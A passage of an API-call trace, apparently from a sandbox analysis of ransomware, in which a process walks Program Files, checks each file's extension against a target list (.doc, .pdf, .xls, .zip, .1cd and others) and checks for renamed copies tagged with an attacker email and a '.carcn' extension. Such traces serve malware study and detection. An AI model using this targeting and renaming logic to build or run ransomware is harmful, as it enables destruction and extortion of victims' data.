(lpString1=".rar", lpString2=".WMF") returned -1 [0294.274] lstrlenW (lpString=".bz2") returned 4 [0294.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.274] lstrlenW (lpString=".7z") returned 3 [0294.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0294.274] lstrlenW (lpString=".dbf") returned 4 [0294.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0294.274] lstrlenW (lpString=".1cd") returned 4 [0294.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0294.274] lstrlenW (lpString=".jpg") returned 4 [0294.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.275] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a08d8 | out: hHeap=0x640000) returned 1 [0294.275] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce100 | out: hHeap=0x640000) returned 1 [0294.275] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x70f9e8 | out: hHeap=0x640000) returned 1 [0294.276] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71f9f0 | out: hHeap=0x640000) returned 1 [0294.277] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3617020 | out: hHeap=0x640000) returned 1 [0294.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0920 | out: hHeap=0x640000) returned 1 [0294.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45eb2b0 [0294.282] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45eb2b0, Size=0x20) returned 0x699f50 [0294.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45eb2b0 [0294.283] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45eb2b0, Size=0x20) returned 0x699f28 [0294.283] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0294.283] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0294.283] Wow64DisableWow64FsRedirection (in: OldValue=0x2bdff50 | out: OldValue=0x2bdff50*=0x1) returned 1 [0294.283] lstrlenW (lpString="kernel32.dll") returned 12 [0294.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699f28 | out: hHeap=0x640000) returned 1 [0294.283] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0294.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699f50 | out: hHeap=0x640000) returned 1 Thread: id = 46 os_tid = 0xd60 [0250.921] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x3720048 [0250.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x3730050 [0250.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0938 [0250.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6) returned 0x6ce150 [0250.922] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0968 [0250.923] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x100000) returned 0x382f020 [0250.926] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a09b0 [0250.926] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a09b0, Size=0x20) returned 0x680b50 [0250.926] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a09b0 [0250.926] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a09b0, Size=0x20) returned 0x680a10 [0250.926] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0250.926] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0250.926] Wow64DisableWow64FsRedirection (in: OldValue=0x2d1ff50 | out: OldValue=0x2d1ff50*=0x0) returned 1 [0250.926] lstrlenW (lpString="kernel32.dll") returned 12 [0250.926] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680b50 | out: hHeap=0x640000) returned 1 [0250.926] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0250.926] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680a10 | out: hHeap=0x640000) returned 1 [0250.927] Sleep (dwMilliseconds=0x64) [0251.294] Sleep (dwMilliseconds=0x64) [0251.745] Sleep (dwMilliseconds=0x64) [0252.117] Sleep (dwMilliseconds=0x64) [0252.459] Sleep (dwMilliseconds=0x64) [0252.902] Sleep (dwMilliseconds=0x64) [0253.466] Sleep (dwMilliseconds=0x64) [0253.745] Sleep (dwMilliseconds=0x64) [0254.392] Sleep (dwMilliseconds=0x64) [0254.798] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0254.798] lstrlenW (lpString="Alphabet.xml") returned 12 [0254.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424 [0254.799] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=791421) returned 1 [0254.799] CloseHandle (hObject=0x424) returned 1 [0254.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0254.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0254.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0254.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0254.800] lstrlenW (lpString=".doc") returned 4 [0254.800] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0254.800] lstrlenW (lpString=".docx") returned 5 [0254.800] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0254.800] lstrlenW (lpString=".pdf") returned 4 [0254.800] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0254.800] lstrlenW (lpString=".xls") returned 4 [0254.800] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0254.800] lstrlenW (lpString=".xlsx") returned 5 [0254.800] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0254.800] lstrlenW (lpString=".ppt") returned 4 [0254.800] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0254.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0254.800] lstrlenW (lpString=".zip") returned 4 [0254.800] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0254.801] lstrlenW (lpString=".rar") returned 4 [0254.801] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0254.801] lstrlenW (lpString=".bz2") returned 4 [0254.801] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0254.801] lstrlenW (lpString=".7z") returned 3 [0254.801] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0254.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0254.801] lstrlenW (lpString=".dbf") returned 4 [0254.801] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0254.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0254.801] lstrlenW (lpString=".1cd") returned 4 [0254.801] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0254.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0254.801] lstrlenW (lpString=".jpg") returned 4 [0254.801] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0254.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0254.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0254.801] lstrlenW (lpString=".doc") returned 4 [0254.801] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0254.802] lstrlenW (lpString=".docx") returned 5 [0254.802] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0254.802] lstrlenW (lpString=".pdf") returned 4 [0254.802] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0254.802] lstrlenW (lpString=".xls") returned 4 [0254.802] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0254.802] lstrlenW (lpString=".xlsx") returned 5 [0254.802] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0254.802] lstrlenW (lpString=".ppt") returned 4 [0254.802] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0254.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0254.802] lstrlenW (lpString=".zip") returned 4 [0254.802] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0254.802] lstrlenW (lpString=".rar") returned 4 [0254.802] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0254.803] lstrlenW (lpString=".bz2") returned 4 [0254.803] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0254.803] lstrlenW (lpString=".7z") returned 3 [0254.803] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0254.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0254.803] lstrlenW (lpString=".dbf") returned 4 [0254.803] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0254.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0254.803] lstrlenW (lpString=".1cd") returned 4 [0254.803] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0254.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0254.803] lstrlenW (lpString=".jpg") returned 4 [0254.803] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0254.803] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0254.803] lstrlenW (lpString="Content.xml") returned 11 [0254.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424 [0254.806] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=27045) returned 1 [0254.806] CloseHandle (hObject=0x424) returned 1 [0254.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0254.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0254.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0254.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0254.806] lstrlenW (lpString=".doc") returned 4 [0254.806] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0254.806] lstrlenW (lpString=".docx") returned 5 [0254.806] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0254.806] lstrlenW (lpString=".pdf") returned 4 [0254.806] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0254.807] lstrlenW (lpString=".xls") returned 4 [0254.807] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0254.807] lstrlenW (lpString=".xlsx") returned 5 [0254.807] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0254.807] lstrlenW (lpString=".ppt") returned 4 [0254.807] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0254.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0254.807] lstrlenW (lpString=".zip") returned 4 [0254.807] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0254.807] lstrlenW (lpString=".rar") returned 4 [0254.807] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0254.807] lstrlenW (lpString=".bz2") returned 4 [0254.807] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0254.807] lstrlenW (lpString=".7z") returned 3 [0254.807] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0254.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0254.807] lstrlenW (lpString=".dbf") returned 4 [0254.807] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0254.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0254.807] lstrlenW (lpString=".1cd") returned 4 [0254.807] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0254.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0254.807] lstrlenW (lpString=".jpg") returned 4 [0254.807] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0254.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0254.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0254.808] lstrlenW (lpString=".doc") returned 4 [0254.808] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0254.808] lstrlenW (lpString=".docx") returned 5 [0254.808] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0254.808] lstrlenW (lpString=".pdf") returned 4 [0254.808] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0254.808] lstrlenW (lpString=".xls") returned 4 [0254.808] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0254.808] lstrlenW (lpString=".xlsx") returned 5 [0254.808] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0254.808] lstrlenW (lpString=".ppt") returned 4 [0254.808] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0254.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0254.808] lstrlenW (lpString=".zip") returned 4 [0254.808] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0254.808] lstrlenW (lpString=".rar") returned 4 [0254.808] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0254.808] lstrlenW (lpString=".bz2") returned 4 [0254.808] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0254.808] lstrlenW (lpString=".7z") returned 3 [0254.808] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0254.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0254.808] lstrlenW (lpString=".dbf") returned 4 [0254.808] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0254.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0254.808] lstrlenW (lpString=".1cd") returned 4 [0254.809] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0254.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0254.809] lstrlenW (lpString=".jpg") returned 4 [0254.809] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0254.809] Sleep (dwMilliseconds=0x64) [0255.318] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0255.318] lstrlenW (lpString="osknumpad.xml") returned 13 [0255.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0255.319] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=219) returned 1 [0255.319] CloseHandle (hObject=0x33c) returned 1 [0255.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0255.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0255.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0255.320] lstrlenW (lpString=".doc") returned 4 [0255.320] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0255.320] lstrlenW (lpString=".docx") returned 5 [0255.320] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0255.320] lstrlenW (lpString=".pdf") returned 4 [0255.320] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0255.320] lstrlenW (lpString=".xls") returned 4 [0255.320] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0255.320] lstrlenW (lpString=".xlsx") returned 5 [0255.320] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0255.320] lstrlenW (lpString=".ppt") returned 4 [0255.320] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0255.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0255.320] lstrlenW (lpString=".zip") returned 4 [0255.320] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0255.320] lstrlenW (lpString=".rar") returned 4 [0255.320] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0255.320] lstrlenW (lpString=".bz2") returned 4 [0255.320] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0255.320] lstrlenW (lpString=".7z") returned 3 [0255.320] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0255.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0255.320] lstrlenW (lpString=".dbf") returned 4 [0255.320] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0255.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0255.320] lstrlenW (lpString=".1cd") returned 4 [0255.320] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0255.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0255.320] lstrlenW (lpString=".jpg") returned 4 [0255.320] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0255.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0255.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0255.320] lstrlenW (lpString=".doc") returned 4 [0255.321] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0255.321] lstrlenW (lpString=".docx") returned 5 [0255.321] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0255.321] lstrlenW (lpString=".pdf") returned 4 [0255.321] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0255.321] lstrlenW (lpString=".xls") returned 4 [0255.321] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0255.321] lstrlenW (lpString=".xlsx") returned 5 [0255.321] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0255.321] lstrlenW (lpString=".ppt") returned 4 [0255.321] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0255.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0255.321] lstrlenW (lpString=".zip") returned 4 [0255.321] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0255.321] lstrlenW (lpString=".rar") returned 4 [0255.321] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0255.321] lstrlenW (lpString=".bz2") returned 4 [0255.321] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0255.321] lstrlenW (lpString=".7z") returned 3 [0255.321] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0255.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0255.321] lstrlenW (lpString=".dbf") returned 4 [0255.321] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0255.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0255.321] lstrlenW (lpString=".1cd") returned 4 [0255.321] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0255.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0255.321] lstrlenW (lpString=".jpg") returned 4 [0255.321] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0255.322] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0255.322] lstrlenW (lpString="oskpredbase.xml") returned 15 [0255.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0255.322] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=924) returned 1 [0255.322] CloseHandle (hObject=0x33c) returned 1 [0255.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0255.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0255.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0255.322] lstrlenW (lpString=".doc") returned 4 [0255.322] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0255.322] lstrlenW (lpString=".docx") returned 5 [0255.322] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0255.322] lstrlenW (lpString=".pdf") returned 4 [0255.323] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0255.323] lstrlenW (lpString=".xls") returned 4 [0255.323] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0255.323] lstrlenW (lpString=".xlsx") returned 5 [0255.323] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0255.323] lstrlenW (lpString=".ppt") returned 4 [0255.323] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0255.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0255.323] lstrlenW (lpString=".zip") returned 4 [0255.323] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0255.323] lstrlenW (lpString=".rar") returned 4 [0255.323] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0255.323] lstrlenW (lpString=".bz2") returned 4 [0255.323] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0255.323] lstrlenW (lpString=".7z") returned 3 [0255.323] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0255.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0255.323] lstrlenW (lpString=".dbf") returned 4 [0255.323] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0255.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0255.323] lstrlenW (lpString=".1cd") returned 4 [0255.323] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0255.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0255.323] lstrlenW (lpString=".jpg") returned 4 [0255.323] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0255.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0255.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0255.323] lstrlenW (lpString=".doc") returned 4 [0255.323] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0255.324] lstrlenW (lpString=".docx") returned 5 [0255.324] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0255.324] 